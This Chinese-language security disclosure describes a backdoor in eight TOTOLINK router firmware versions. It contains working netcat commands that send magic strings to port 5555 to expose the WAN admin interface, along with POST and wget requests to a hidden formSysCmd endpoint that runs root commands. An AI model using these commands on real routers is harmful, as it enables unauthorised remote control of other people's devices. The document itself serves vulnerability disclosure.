占據(jù)韓國80%市場的TOTOLINK路由器被曝存后門
TOTOLINK路由器在韓國市場占有率達(dá)82.3%。由深圳眾唐科技公司負(fù)責(zé)產(chǎn)品的研發(fā)、制造。
漏洞簡述
通過分析最近一次的固件以及在真實(shí)路由器上進(jìn)行測試后,研究人員發(fā)現(xiàn)8款TOTOLink產(chǎn)品中存在后門。
注:固件來自totolink.net以及totolink.cn
A850R-V1 : 最新固件 TOTOLINK-A850R-V1.0.1-B20150707.1612.web
F1-V2 : 最新固件 F1-V2.1.1-B20150708.1646.web
F2-V1 : 最新固件 F2-V2.1.0-B20150320.1611.web
N150RT-V2 : 最新固件 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
N151RT-V2 : 最新固件 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
N300RH-V2 : 最新固件 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
N300RH-V3 : 最新固件 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
N300RT-V2 : 最新固件 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
通過向WAN IP發(fā)送一個(gè)精心構(gòu)造的請求,攻擊者可以在網(wǎng)上打開HTTP遠(yuǎn)程管理界面。接著攻擊者在HTTP原創(chuàng)管理界面中通過hidden/boafrm/formSysCmd形式使用遠(yuǎn)程代碼執(zhí)行,進(jìn)而繞過認(rèn)證系統(tǒng)。
初步估計(jì)大約有5萬路由器受到后門影響。
后門細(xì)節(jié)
當(dāng)路由器啟動后會int.d腳本會執(zhí)行/bin/skt文件
cat etc/init.d/rcS [...] # start web server boa skt&
skt是一個(gè)MIPS架構(gòu)文件,其參數(shù):
server: ./skt client: ./skt host cmd
使用模擬器,該二進(jìn)制文件可以兼容 x86_64機(jī)器: sudo chroot . ./qemu-mips-static ./bin/skt
單獨(dú)使用skt不帶任何參數(shù),將會啟用一個(gè)端口為5555的TCP保護(hù)程序,擔(dān)當(dāng)回顯服務(wù)器的角色。使用帶參數(shù)的skt將通過5555端口向目標(biāo)IP發(fā)送一個(gè)包含命令的TCP包。
skt的主要功能:
TcpClient是一個(gè)簡單的TCP客戶端
TcpServer就像一個(gè)回顯服務(wù)器
TcpClient:將發(fā)送一個(gè)包含hel,xasf, oki,xasf 或者 bye,xasf的TCP包,這取決于使用的參數(shù)(1,2,3)
TcpServer:用來監(jiān)聽tcp/5555的回顯服務(wù)器并比較用戶提供的硬編碼字符串("hel,xasf", "oki,xasf").
sub_400B50函數(shù):
sub_400B50函數(shù)的偽代碼:
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] }
該函數(shù)比較用戶指定的字符串,2個(gè)硬編碼字符串執(zhí)行system()。
分析運(yùn)行在TOTOLINK設(shè)備上的二進(jìn)制文件,顯示服務(wù)器通過靜默執(zhí)行system()響應(yīng)命令
1.通過將 "hel,xasf"發(fā)送給設(shè)備,設(shè)備將執(zhí)行:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
這將在eth1接口(默認(rèn)的WAN接口)80端口打開HTTP遠(yuǎn)程管理界面
2.通過將"oki,xasf"發(fā)送給設(shè)備,設(shè)備將執(zhí)行:
iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
這是關(guān)閉HTTP原創(chuàng)管理界面
3.通過發(fā)送"bye,xasf"給設(shè)備,設(shè)備什么都不會做。
后門中的iptables命令都是"eth1"的硬編碼,只有使用DHCP以及靜態(tài)IP連接的設(shè)備才會受到影響,因?yàn)閃AN IP依賴于eth1設(shè)備,而對于PPPoE連接沒有任何影響
totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
攻擊者可以使用簡單的netcat命令來測試后門:
1.打開HTTP遠(yuǎn)程管理界面
echo -ne "hel,xasf" | nc <ip> 5555
2.關(guān)閉HTTP遠(yuǎn)程管理界面
echo -ne "oki,xasf" | nc <ip> 5555
3.檢測含漏洞路由器
echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
通過后門打開HTTP遠(yuǎn)程管理界面:
路由器管理頁面中的遠(yuǎn)程命令執(zhí)行漏洞
在最新固件中一個(gè)隱藏窗口允許攻擊者以root權(quán)限執(zhí)行命令:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg=
攻擊者可以使用wget在遠(yuǎn)程設(shè)備中執(zhí)行命令:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
例如,向管理界面發(fā)送該HTTP請求,可以遠(yuǎn)程重啟設(shè)備:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=reboot&apply=Apply&msg=
下面的wget命令和上面的命令類似:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd

























